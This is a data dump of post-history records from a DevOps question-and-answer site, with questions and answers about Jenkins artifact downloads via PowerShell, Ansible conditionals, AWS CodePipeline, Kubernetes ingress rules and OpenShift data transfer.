  <row Id="12379" PostHistoryTypeId="2" PostId="3946" RevisionGUID="43d990b8-db82-4510-82a4-e62eb95bce59" CreationDate="2018-04-23T22:09:46.643" UserId="3062" Text="So I wrote this powershell script to be ran by the deployment group agents who have access to the server locally.&#xD;&#xA;&#xD;&#xA;    Param(&#xD;&#xA;    [string]$JenkinsPatArg&#xD;&#xA;    )&#xD;&#xA;    $isRunningLocal = $false&#xD;&#xA;    $jenkinsUrlBase = &quot;[public ipaddress]&quot;&#xD;&#xA;&#xD;&#xA;    if(Test-Connection -ComputerName &quot;[private ipaddress/DNS name]&quot; -Quiet) &#xD;&#xA;    {&#xD;&#xA;        $isRunningLocal = $true&#xD;&#xA;        $jenkinsUrlBase = &quot;[private ipaddress/dns name]&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    $buildDefinitionName = $env:RELEASE_ARTIFACTS_GAMEZIP_DEFINITIONNAME&#xD;&#xA;    $buildTeamProject = [Uri]::EscapeDataString($env:SYSTEM_TEAMPROJECT)&#xD;&#xA;    $targetBuildNumber = $env:RELEASE_ARTIFACTS_[Artifact Alias]_BUILDNUMBER&#xD;&#xA;&#xD;&#xA;    $Auth = &quot;$($env:username):$($JenkinsPatArg)&quot;&#xD;&#xA;&#xD;&#xA;    $Bytes = [System.Text.Encoding]::UTF8.GetBytes($Auth)&#xD;&#xA;    $Base64bytes = [System.Convert]::ToBase64String($Bytes)&#xD;&#xA;    $Headers = @{ &quot;Authorization&quot; = &quot;Basic $Base64bytes&quot;}&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;Searching for $($targetBuildNumber) in project $($buildTeamProject)-&gt;$($buildDefinitionName)&quot;&#xD;&#xA;&#xD;&#xA;    $correctBuild&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;Querying: http://$($jenkinsUrlBase):[port number]/job/$($buildTeamProject)/job/$($buildDefinitionName)/api/json?tree=builds[id,url,actions[buildNumber]]&quot;&#xD;&#xA;&#xD;&#xA;    ForEach($build in (Invoke-RestMethod -Uri &quot;http://$($jenkinsUrlBase):[port number]/job/$($buildTeamProject)/job/$($buildDefinitionName)/api/json?tree=builds[id,url,actions[buildNumber]]&quot; -ContentType json -Headers $Headers).builds)&#xD;&#xA;    {&#xD;&#xA;        &#xD;&#xA;        if($build.actions.buildNumber -eq $targetBuildNumber)&#xD;&#xA;        {&#xD;&#xA;            $correctBuild = $build&#xD;&#xA;            Write-Host $build.id&#xD;&#xA;            Write-Host $build.url&#xD;&#xA;            Write-Host $build.actions.buildNumber&#xD;&#xA;            break&#xD;&#xA;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    if($correctBuild -eq $null)&#xD;&#xA;    {&#xD;&#xA;        Write-Error &quot;Build not found.  Must rebuild source to obtain artifact&quot;&#xD;&#xA;        return;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    if($isRunningLocal){$correctBuild.url = $correctBuild.url.Replace(&quot;[public ip address]&quot;, &quot;[local ipaddress/DNS name]&quot;)}&#xD;&#xA;&#xD;&#xA;    $targetZip = &quot;$Env:temp/$($buildDefinitionName)_$($correctBuild.id).zip&quot;&#xD;&#xA;&#xD;&#xA;    (Invoke-RestMethod -Uri &quot;$($correctBuild.url)/artifact/$($buildDefinitionName)/*zip*/$($buildDefinitionName)_$($correctBuild.id).zip&quot; -ContentType Application/zip -Headers $Headers -OutFile $targetZip)&#xD;&#xA;&#xD;&#xA;    Add-Type -AssemblyName System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($targetZip, $env:targetDirectory);&#xD;&#xA;    #Expand-Archive -Path $targetZip -DestinationPath $env:targetDirectory -Force&#xD;&#xA;    Remove-Item $targetZip;&#xD;&#xA;&#xD;&#xA;passing in the a personal API key (created by Jenkins user manager to use by visual studio team services), this script first checks if it is can access the server using local connections, if so set the variables appropriately.&#xD;&#xA;&#xD;&#xA;From there we create local handlers for environmental variables.  Our release artifact name defined in VSTS is the same as that in our jenkins server.  The build number used is created by VSTS and passed to jenkins and stored by the VSTS plugin([Jenkins TFS Plugin download][1]).  We get this version number from the environment as the artifact build number.  We also ensure that our team project path url is windows URL encoded [brief explanation][2].  Next we hold our authentication which is stored as a variable in our VSTS variables.  The `$JenkinsPatArg` is marked as secret. As such, we must pass it in as it isn't visible as an environment variable.  We then encode the authentication and add it to our request headers.&#xD;&#xA;&#xD;&#xA;We then add a debug line to print what target we are looking for and what project we are looking in, just to make sure we are looking for the right thing.  We create a variable to hold the build information that we find and do one more debug write stating what are query url is so that we can manually run it if we run into any issues.&#xD;&#xA;&#xD;&#xA;Next we then run this url query against the build server and iterate over all the builds returned.  The query filters out all the JSON to just the build ID, it's absolute url, and the VSTS build number.  We check to see if the build we are examining has the same build number as the artifact we are deploying, if so store it in the `$correctBuild` variable, print the was found for debugging, and exit the loop.&#xD;&#xA;&#xD;&#xA;Coming out of the loop we check to see if we found a result.  If we did not find a build (due to it being cleaned up most likely) we inform the user that the artifact needs to be rebuild from source.  Otherwise we download the artifact zip to a temporary location from the jenkins server and extract it to the target directory, defined as a variable.  Lastly we delete the downloaded zip.&#xD;&#xA;&#xD;&#xA;This is ran as a powershell script task and due to it's length, can not be an inline script.  So to deploy this, i have a devops git repo for my scripts and I just include this as an artifact that is downloaded and ran.  This task is preceded by other tasks which stop the current process from running, and delete the current files in place before running this task.  After this task is ran, more scripts are ran to run the downloaded artifacts.&#xD;&#xA;&#xD;&#xA;I hope this helps someone else trying to coordinate and link VSTS builds with Jenkins artifacts.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Team+Foundation+Server+Plugin&#xD;&#xA;  [2]: https://stackoverflow.com/questions/23548386/how-do-i-replace-spaces-with-20-in-powershell?utm_medium=organic&amp;utm_source=google_rich_qa&amp;utm_campaign=google_rich_qa" ContentLicense="CC BY-SA 3.0" />
  <row Id="12380" PostHistoryTypeId="2" PostId="3947" RevisionGUID="0201a732-7720-4e1a-9a14-8b65a3b27f12" CreationDate="2018-04-24T08:23:25.277" UserId="3785" Text="This question may look strange as something like this is not implemented in real life. I have tried to make it very general. &#xD;&#xA;&#xD;&#xA;Here is my ansible-playbook:&#xD;&#xA;&#xD;&#xA;**tasks/main.yml**&#xD;&#xA;&#xD;&#xA;    - name: &quot;Setting place name of {{ country }}&quot; &#xD;&#xA;      set_fact:&#xD;&#xA;         place: &quot;get_place_name&quot;&#xD;&#xA;&#xD;&#xA;    - name: &quot;Setting places name of {{ country }}&quot; &#xD;&#xA;      set_fact:&#xD;&#xA;         places: &quot;get_places_name&quot;&#xD;&#xA;&#xD;&#xA;    - name: Details of &quot;{{ country }}&quot;&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ item }}&quot; &#xD;&#xA;      when:&#xD;&#xA;        -  place in &quot;{{ item.Other_Places }}&quot; or places in &quot;{{ item.Other_Places }}&quot; &#xD;&#xA;      with_items: &quot;{{ Places }}&quot;&#xD;&#xA;&#xD;&#xA;**vars/main.yml**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    Places:&#xD;&#xA;    - Country: &quot;United States of America&quot;&#xD;&#xA;      Capital: &quot;{{ capital}}}&quot;&#xD;&#xA;      Other_Places: ['place1', 'place2']&#xD;&#xA;&#xD;&#xA;    - Country: &quot;China&quot;&#xD;&#xA;      Capital: &quot;{{ capital }}&quot;&#xD;&#xA;      Other_Places: ['places1', 'places2', 'places3', 'places4']&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here if &quot;place&quot; variable is defined as &quot;place1&quot; then it will run and output will be something as below:&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;            &quot;Country&quot;: &quot;United States of America&quot;, &#xD;&#xA;            &quot;Capital&quot;: &quot;place1&quot;, &#xD;&#xA;            &quot;Other_Places&quot;: &quot;['place1', 'place2']&quot;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;The problem is I am confused on how to handle something that is not listed in &quot;Other_Places&quot;? Suppose I input &quot;place10&quot; as variable name &quot;Capital&quot; then it is not defined then it should simply output &quot;Sorry, no matching place found.&quot;&#xD;&#xA;&#xD;&#xA;If we do something like below :&#xD;&#xA;&#xD;&#xA;    - name: Exceptional case&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ capital }} not in {{ item.Capital }} &quot; &#xD;&#xA;      when:&#xD;&#xA;        -  place not in &quot;{{ item.Other_Places }}&quot; and places not in &quot;{{ item.Other_Places }}&quot; &#xD;&#xA;      with_items: &quot;{{ Places }}&quot;&#xD;&#xA;&#xD;&#xA;This will output all at once because &quot;place&quot; is not defined in &quot;capital&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="12381" PostHistoryTypeId="1" PostId="3947" RevisionGUID="0201a732-7720-4e1a-9a14-8b65a3b27f12" CreationDate="2018-04-24T08:23:25.277" UserId="3785" Text="How to handle item not in list in ansible variable?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12382" PostHistoryTypeId="3" PostId="3947" RevisionGUID="0201a732-7720-4e1a-9a14-8b65a3b27f12" CreationDate="2018-04-24T08:23:25.277" UserId="3785" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12383" PostHistoryTypeId="2" PostId="3948" RevisionGUID="e2f1166e-5d1b-4157-a36f-fc57ddf4dd2b" CreationDate="2018-04-24T14:17:51.100" UserId="4427" Text="I think you should do neither ;) &#xD;&#xA;&#xD;&#xA;Well kinda. I think you need more executors, maybe your builds are really resource intensive? I would run at least 4 but we run 6 to 8 depending on jobs. I like to match # of cores to exectors. So you might want to scale up your nodes, I think we run a M4 large for our 4-8 executors.&#xD;&#xA;&#xD;&#xA;I also think you should scale-out but you should do so smartly. Jenkins has a plugin to [automatically scale-out on AWS][1] depending on what is in the build queue. Basically you tell it how many jobs and how long the wait before it stands up a slave and sends the jobs to the new slave. You can also set the max amount of slaves, the min amount etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Amazon+EC2+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="12384" PostHistoryTypeId="2" PostId="3949" RevisionGUID="a432755e-e7a1-4126-8f06-5829bd07718f" CreationDate="2018-04-24T16:40:06.187" UserId="7551" Text="You have to use Docker to use dns plugins&#xD;&#xA;&#xD;&#xA;&gt; These plugins are still in the process of being packaged by many distributions and cannot currently be installed with certbot-auto. If, however, you are comfortable installing the certificates yourself, you can run these plugins with Docker.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12385" PostHistoryTypeId="2" PostId="3950" RevisionGUID="76ba64a7-55da-400a-bd55-29dbdcdd23e4" CreationDate="2018-04-24T17:36:03.477" UserId="7555" Text="I am implementing a CICD pipeline using CodePipeline, CodeCommit, CodeDeploy and CloudFormation (I am skipping the build part of the pipeline and am going to commit built code for the moment).&#xD;&#xA;I already have a CloudFormation template that creates the required infrastructure to host the application, a CodeDeploy Application (in a nested stack) and a CodePipeline that gets the source code from CodeCommit, does In-Place deployments via CodeDeploy and finally sends an approval email (in a nested stack).&#xD;&#xA;&#xD;&#xA;I would like to implement the following:&#xD;&#xA;&#xD;&#xA;1. [I already have this] In order to create the required infrastructure to host the application for the first time, I launch a CloudFormation template that creates:&#xD;&#xA;    - the required infrastructure to host the application (AutoScalingGroup and Launch Config, TargetGroup and ListenerRules, IAM roles)&#xD;&#xA;    - CodeDeploy Application and DeploymentGroup (this will be in a nested stack)&#xD;&#xA;    - CodePipeline pipeline pre-configured to carry out the next steps (this will be in a nested stack)&#xD;&#xA;&#xD;&#xA;**2. When source code is committed to CodeCommit, CodePipeline launches a new CloudFormation stack containing the required infrastructure to host the application, then deploys the new version of the code to this stack, without affecting the existing stack for the old version of this application. The new stack will have a listener rule with a different host name, so I can test the application while users keep using the old version;**&#xD;&#xA;&#xD;&#xA;3. [I already have this] Once the code has been deployed, CodePipeline sends an approval email (through an SNS topic);&#xD;&#xA;&#xD;&#xA;[4. If the email is approved, the old stack (created in step 1. ) is deleted]&#xD;&#xA;&#xD;&#xA;4) I will manually swap the listener rules for the two stacks to direct users to the new stack created in step 2, then delete the old stack.&#xD;&#xA;&#xD;&#xA;I am struggling to implement step 2.&#xD;&#xA;&#xD;&#xA;I am currently trying to use a Deploy action with a CloudFormation deployment provider to carry out step 2. above. I am struggling to pass the output artifacts (new source code) from the previous stage to the new stack.&#xD;&#xA;&#xD;&#xA;Can you provide some guidelines on how to implement step 2.?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12386" PostHistoryTypeId="1" PostId="3950" RevisionGUID="76ba64a7-55da-400a-bd55-29dbdcdd23e4" CreationDate="2018-04-24T17:36:03.477" UserId="7555" Text="AWS CodePipeline staged deployments" ContentLicense="CC BY-SA 3.0" />
  <row Id="12387" PostHistoryTypeId="3" PostId="3950" RevisionGUID="76ba64a7-55da-400a-bd55-29dbdcdd23e4" CreationDate="2018-04-24T17:36:03.477" UserId="7555" Text="&lt;amazon-web-services&gt;&lt;continuous-deployment&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12388" PostHistoryTypeId="50" PostId="3421" RevisionGUID="fedfc47e-3487-41ad-a189-bad844da9109" CreationDate="2018-04-24T18:00:18.193" UserId="-1" />
  <row Id="12389" PostHistoryTypeId="2" PostId="3951" RevisionGUID="ed6060b1-54cf-43b5-af0a-c15a22f8614a" CreationDate="2018-04-24T20:27:06.917" UserId="7557" Text="I want to ask for input but only if we are on a certain branch.  But the input is run before the when. Can this be done with declarative syntax?&#xD;&#xA;&#xD;&#xA;For example this will always prompt even when the branch is not master&#xD;&#xA;&#xD;&#xA;    stage('only on master') {&#xD;&#xA;       when {&#xD;&#xA;          branch 'master'&#xD;&#xA;       }&#xD;&#xA;       input { ... }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="12390" PostHistoryTypeId="1" PostId="3951" RevisionGUID="ed6060b1-54cf-43b5-af0a-c15a22f8614a" CreationDate="2018-04-24T20:27:06.917" UserId="7557" Text="Jenkins Pipeline - input only if branch matches" ContentLicense="CC BY-SA 3.0" />
  <row Id="12391" PostHistoryTypeId="3" PostId="3951" RevisionGUID="ed6060b1-54cf-43b5-af0a-c15a22f8614a" CreationDate="2018-04-24T20:27:06.917" UserId="7557" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12392" PostHistoryTypeId="2" PostId="3952" RevisionGUID="ba41edef-26b3-4205-917f-e65d42219ca4" CreationDate="2018-04-24T21:03:28.290" UserId="6651" Text="I see two approaches  :&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Save current branch name on a variable and check it in a if statement&#xD;&#xA;----------------------------------------------------------------&#xD;&#xA;    CURRENT_BRANCH = '...' // some value or parameter&#xD;&#xA;&#xD;&#xA;    stage('only on master') {&#xD;&#xA;      if (CURRENT_BRANCH == 'master') {&#xD;&#xA;      input {&#xD;&#xA;        ...&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    // be sure to check if input was set or define a default value&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;Run a shell script to know if current folder is a git repo on master&#xD;&#xA;--------------------------------------------------------------------&#xD;&#xA;The following command check if current folder is a git repository  printing &quot;true&quot; ( or returning a error if does not have repo)&#xD;&#xA; &#xD;&#xA;    git rev-parse --is-inside-work-tree&#xD;&#xA;&#xD;&#xA;The next, print the current branch name &#xD;&#xA;&#xD;&#xA;    git branch | grep \* | cut -d ' ' -f2&#xD;&#xA;&#xD;&#xA;Use both to create a script that sets an environment variable.&#xD;&#xA;Check the value on your pipeline, to show the input&#xD;&#xA;&#xD;&#xA;    stage('only on master') {&#xD;&#xA;      &#xD;&#xA;      // Set true on IS_ON_MASTER if current branch is master, &#xD;&#xA;      // otherwise set false&#xD;&#xA;      &#xD;&#xA;      sh ./check-branch-master.sh &#xD;&#xA;&#xD;&#xA;      if (env.IS_ON_MASTER) {&#xD;&#xA;      input {&#xD;&#xA;        ...&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12393" PostHistoryTypeId="2" PostId="3953" RevisionGUID="1ab42b4d-6562-4926-98e0-25e31027be4d" CreationDate="2018-04-24T21:16:44.817" UserId="7558" Text="I'm trying to implement a Kubernetes cluster with a fanout pattern using an NGINX Ingress which routes traffic on multiple different hosts and paths to different microservices. The code for each microservice is hosted in their own Git repo, including the kubernetes definition yml files which deploys the pods (Deployment) and services for each service respectively.&#xD;&#xA;&#xD;&#xA;Considering that there will be a single Ingress which routes traffic to all the different Services, where (by convention or industry standard) should the definition file be stored? I would like to keep the Ingress rules related to a single microservice in the git repo where the rest of the code is. I don't particularly want a separate git repo just for the Ingress.&#xD;&#xA;&#xD;&#xA;Is it possible to define only a subset of an Ingress' rules in a file which would then get &quot;appended&quot; to the list of rules instead of overwriting them.&#xD;&#xA;&#xD;&#xA;For example, could I have these two different definitions which creates a single Ingress with two rules (based on having the same name):&#xD;&#xA;&#xD;&#xA;**foo-ingress-rules.yml**&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    kind: Ingress&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx-ingress&#xD;&#xA;    spec:&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;          - foo.bar.com&#xD;&#xA;          secretName: tls-secret&#xD;&#xA;      rules:&#xD;&#xA;        - host: foo.bar.com&#xD;&#xA;          http:&#xD;&#xA;            paths:&#xD;&#xA;            - path: /&#xD;&#xA;              backend:&#xD;&#xA;                serviceName: foo-web-svc&#xD;&#xA;                servicePort: 80&#xD;&#xA;            - path: /api&#xD;&#xA;              backend:&#xD;&#xA;                serviceName: foo-rest-svc&#xD;&#xA;                servicePort: 80&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**baz-ingress-rules.yml**&#xD;&#xA;&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    kind: Ingress&#xD;&#xA;    metadata:&#xD;&#xA;      name: nginx-ingress&#xD;&#xA;    spec:&#xD;&#xA;      tls:&#xD;&#xA;        - hosts:&#xD;&#xA;          - baz.bar.com&#xD;&#xA;          secretName: tls-secret&#xD;&#xA;      rules:&#xD;&#xA;        - host: baz.bar.com&#xD;&#xA;          http:&#xD;&#xA;            paths:&#xD;&#xA;            - path: /&#xD;&#xA;              backend:&#xD;&#xA;                serviceName: baz-web-svc&#xD;&#xA;                servicePort: 80&#xD;&#xA;            - path: /api&#xD;&#xA;              backend:&#xD;&#xA;                serviceName: baz-rest-svc&#xD;&#xA;                servicePort: 80" ContentLicense="CC BY-SA 3.0" />
  <row Id="12394" PostHistoryTypeId="1" PostId="3953" RevisionGUID="1ab42b4d-6562-4926-98e0-25e31027be4d" CreationDate="2018-04-24T21:16:44.817" UserId="7558" Text="How to add rules to Kubernetes NGINX Ingress controller from different yml definitions" ContentLicense="CC BY-SA 3.0" />
  <row Id="12395" PostHistoryTypeId="3" PostId="3953" RevisionGUID="1ab42b4d-6562-4926-98e0-25e31027be4d" CreationDate="2018-04-24T21:16:44.817" UserId="7558" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;load-balance&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12396" PostHistoryTypeId="5" PostId="3949" RevisionGUID="ed13f315-3a89-40c1-ad51-fec5ac470776" CreationDate="2018-04-25T02:15:10.133" UserId="47" Comment="added quote URL" Text="You have to use Docker to use dns plugins. From [DNS Plugins][1]:&#xD;&#xA;&#xD;&#xA;&gt; These plugins are still in the process of being packaged by many distributions and cannot currently be installed with `certbot-auto`. If, however, you are comfortable installing the certificates yourself, you can run these plugins with [Docker][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://certbot.eff.org/docs/using.html#dns-plugins&#xD;&#xA;  [2]: https://certbot.eff.org/docs/install.html#docker-user" ContentLicense="CC BY-SA 3.0" />
  <row Id="12402" PostHistoryTypeId="50" PostId="3715" RevisionGUID="e4448a1d-a5d5-436d-8063-4f5cef461e3b" CreationDate="2018-04-25T07:01:14.363" UserId="-1" />
  <row Id="12403" PostHistoryTypeId="5" PostId="3947" RevisionGUID="a67beb7f-2319-4571-9042-18f639d3b2f1" CreationDate="2018-04-25T08:15:40.980" UserId="3785" Comment="removed extra &quot;{&quot; in question." Text="This question may look strange as something like this is not implemented in real life. I have tried to make it very general. &#xD;&#xA;&#xD;&#xA;Here is my ansible-playbook:&#xD;&#xA;&#xD;&#xA;**tasks/main.yml**&#xD;&#xA;&#xD;&#xA;    - name: &quot;Setting place name of {{ country }}&quot; &#xD;&#xA;      set_fact:&#xD;&#xA;         place: &quot;get_place_name&quot;&#xD;&#xA;&#xD;&#xA;    - name: &quot;Setting places name of {{ country }}&quot; &#xD;&#xA;      set_fact:&#xD;&#xA;         places: &quot;get_places_name&quot;&#xD;&#xA;&#xD;&#xA;    - name: Details of &quot;{{ country }}&quot;&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ item }}&quot; &#xD;&#xA;      when:&#xD;&#xA;        -  place in &quot;{{ item.Other_Places }}&quot; or places in &quot;{{ item.Other_Places }}&quot; &#xD;&#xA;      with_items: &quot;{{ Places }}&quot;&#xD;&#xA;&#xD;&#xA;**vars/main.yml**&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    Places:&#xD;&#xA;    - Country: &quot;United States of America&quot;&#xD;&#xA;      Capital: &quot;{{ capital }}&quot;&#xD;&#xA;      Other_Places: ['place1', 'place2']&#xD;&#xA;&#xD;&#xA;    - Country: &quot;China&quot;&#xD;&#xA;      Capital: &quot;{{ capital }}&quot;&#xD;&#xA;      Other_Places: ['places1', 'places2', 'places3', 'places4']&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here if &quot;place&quot; variable is defined as &quot;place1&quot; then it will run and output will be something as below:&#xD;&#xA;&#xD;&#xA;    &quot;msg&quot;: {&#xD;&#xA;            &quot;Country&quot;: &quot;United States of America&quot;, &#xD;&#xA;            &quot;Capital&quot;: &quot;place1&quot;, &#xD;&#xA;            &quot;Other_Places&quot;: &quot;['place1', 'place2']&quot;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;The problem is I am confused on how to handle something that is not listed in &quot;Other_Places&quot;? Suppose I input &quot;place10&quot; as variable name &quot;Capital&quot; then it is not defined then it should simply output &quot;Sorry, no matching place found.&quot;&#xD;&#xA;&#xD;&#xA;If we do something like below :&#xD;&#xA;&#xD;&#xA;    - name: Exceptional case&#xD;&#xA;      debug:&#xD;&#xA;        msg: &quot;{{ capital }} not in {{ item.Capital }} &quot; &#xD;&#xA;      when:&#xD;&#xA;        -  place not in &quot;{{ item.Other_Places }}&quot; and places not in &quot;{{ item.Other_Places }}&quot; &#xD;&#xA;      with_items: &quot;{{ Places }}&quot;&#xD;&#xA;&#xD;&#xA;This will output all at once because &quot;place&quot; is not defined in &quot;capital&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="12405" PostHistoryTypeId="2" PostId="3955" RevisionGUID="74ff828f-48be-4379-846a-c01bd519e664" CreationDate="2018-04-25T09:38:08.887" UserId="7561" Text="I have a system with 5 source data stores (mostly PostgreSQL databases) from which, I want to connect them all to containers running on OpenShift: A library of react applications who's components make AJAX requests for data feeds from a thin server instance that is also running on OpenShift.&#xD;&#xA;&#xD;&#xA;So far I have created the following:&#xD;&#xA;&#xD;&#xA; - A test server (Flask with `flask_restful` and `sqlalchemy`) that has a direct connection to one of the data stores and can returns REST JSON responses of any of the tables in the database being requested&#xD;&#xA; - A node.js app consisting of two react components (D3.js visual and data table) which on mount/update, consume JSON response of one of the database's tables&#xD;&#xA;&#xD;&#xA;In the production system, my plan is to add in:&#xD;&#xA;&#xD;&#xA; - [graphQL][1] to avoid the over-fetching that I'm currently doing &#xD;&#xA; - Connect up my server with a redis data cache to reduce demand on the data stores&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**My Question:**&#xD;&#xA;&#xD;&#xA;As some of the data coming from the data stores can be large (&gt;1M records), what would be the optimal way to do this?&#xD;&#xA;&#xD;&#xA; - Should I rewrite my server with node.js (my thinking being that javascript is 'native' to JSON and so faster processing?)&#xD;&#xA; - I have been looking into BSON and [msgpck][2] but I'm unclear if these would play nicely with react components?&#xD;&#xA; - Is there a scenario where I could optionally pass data between the OpenShift applications rather than sending large JSON response objects?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://graphql.org/&#xD;&#xA;  [2]: https://msgpack.org/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12406" PostHistoryTypeId="1" PostId="3955" RevisionGUID="74ff828f-48be-4379-846a-c01bd519e664" CreationDate="2018-04-25T09:38:08.887" UserId="7561" Text="How to make fast JSON responses (or equivalent) between server app and front-end apps all running on OpenShift?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12407" PostHistoryTypeId="3" PostId="3955" RevisionGUID="74ff828f-48be-4379-846a-c01bd519e664" CreationDate="2018-04-25T09:38:08.887" UserId="7561" Text="&lt;python&gt;&lt;node.js&gt;&lt;openshift&gt;&lt;json&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12411" PostHistoryTypeId="5" PostId="3950" RevisionGUID="5603b8f4-7e3d-4bd6-aa81-8a13ac009efd" CreationDate="2018-04-25T12:41:41.427" UserId="6375" Comment="Format content" Text="When implement a CICD pipeline using CodePipeline, CodeCommit, CodeDeploy and CloudFormation (I skipped the build part of the pipeline and am going to commit built code for the moment).&#xD;&#xA;&#xD;&#xA;I already have a CloudFormation template that creates the required infrastructure to host the application, a CodeDeploy Application (in a nested stack) and a CodePipeline that gets the source code from CodeCommit, does In-Place deployments via CodeDeploy and finally sends an approval email (in a nested stack).&#xD;&#xA;&#xD;&#xA;I would like to implement the following:&#xD;&#xA;&#xD;&#xA; 1. In order to create the required infrastructure to host the application for the first time, I launch a CloudFormation template that creates (I already have this):&#xD;&#xA;    - The required infrastructure to host the application (AutoScalingGroup and Launch Config, TargetGroup and ListenerRules, IAM roles)&#xD;&#xA;    - CodeDeploy Application and DeploymentGroup (this will be in a nested stack)&#xD;&#xA;    - CodePipeline pipeline pre-configured to carry out the next steps (this will be in a nested stack)&#xD;&#xA;&#xD;&#xA; 2. When source code is committed to CodeCommit, CodePipeline launches a new CloudFormation stack containing the required infrastructure to host the application, then deploys the new version of the code to this stack, without affecting the existing stack for the old version of this application. The new stack will have a listener rule with a different host name, so I can test the application while users keep using the old version;&#xD;&#xA;&#xD;&#xA; 3. Once the code has been deployed, CodePipeline sends an approval email (through an SNS topic and I already have this);&#xD;&#xA;&#xD;&#xA; 4. If the email is approved, the old stack (created in step 1. ) is deleted&#xD;&#xA;&#xD;&#xA; 5. I will manually swap the listener rules for the two stacks to direct users to the new stack created in step 2, then delete the old stack.&#xD;&#xA;&#xD;&#xA;I am struggling to implement step 2 and currently trying to use a Deploy action with a CloudFormation deployment provider to carry out step 2. above. I am struggling to pass the output artifacts (new source code) from the previous stage to the new stack.&#xD;&#xA;&#xD;&#xA;Can you provide some guidelines on how to implement ***step 2*** ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12412" PostHistoryTypeId="24" PostId="3950" RevisionGUID="5603b8f4-7e3d-4bd6-aa81-8a13ac009efd" CreationDate="2018-04-25T12:41:41.427" Comment="Proposed by 6375 approved by -1 edit id of 683" ContentLicense="CC BY-SA 3.0" />
  <row Id="12413" PostHistoryTypeId="5" PostId="3950" RevisionGUID="1f84e0d2-d21e-4457-a7e5-1fc30acaccfa" CreationDate="2018-04-25T12:41:41.427" UserId="47" Comment="Format content" Text="I am implementing a CICD pipeline using CodePipeline, CodeCommit, CodeDeploy and CloudFormation (I skipped the build part of the pipeline and am going to commit built code for the moment).&#xD;&#xA;&#xD;&#xA;I already have a CloudFormation template that creates the required infrastructure to host the application, a CodeDeploy Application (in a nested stack) and a CodePipeline that gets the source code from CodeCommit, does In-Place deployments via CodeDeploy and finally sends an approval email (in a nested stack).&#xD;&#xA;&#xD;&#xA;I would like to implement the following:&#xD;&#xA;&#xD;&#xA; 1. In order to create the required infrastructure to host the application for the first time, I launch a CloudFormation template that creates (I already have this):&#xD;&#xA;    - The required infrastructure to host the application (AutoScalingGroup and Launch Config, TargetGroup and ListenerRules, IAM roles)&#xD;&#xA;    - CodeDeploy Application and DeploymentGroup (this will be in a nested stack)&#xD;&#xA;    - CodePipeline pipeline pre-configured to carry out the next steps (this will be in a nested stack)&#xD;&#xA;&#xD;&#xA; 2. When source code is committed to CodeCommit, CodePipeline launches a new CloudFormation stack containing the required infrastructure to host the application, then deploys the new version of the code to this stack, without affecting the existing stack for the old version of this application. The new stack will have a listener rule with a different host name, so I can test the application while users keep using the old version;&#xD;&#xA;&#xD;&#xA; 3. Once the code has been deployed, CodePipeline sends an approval email (through an SNS topic and I already have this);&#xD;&#xA;&#xD;&#xA; 4. If the email is approved, the old stack (created in step 1. ) is deleted&#xD;&#xA;&#xD;&#xA; 5. I will manually swap the listener rules for the two stacks to direct users to the new stack created in step 2, then delete the old stack.&#xD;&#xA;&#xD;&#xA;I am struggling to implement step 2 and currently trying to use a Deploy action with a CloudFormation deployment provider to carry out step 2. above. I am struggling to pass the output artifacts (new source code) from the previous stage to the new stack.&#xD;&#xA;&#xD;&#xA;Can you provide some guidelines on how to implement ***step 2*** ?" ContentLicense="CC BY-SA 3.0" />
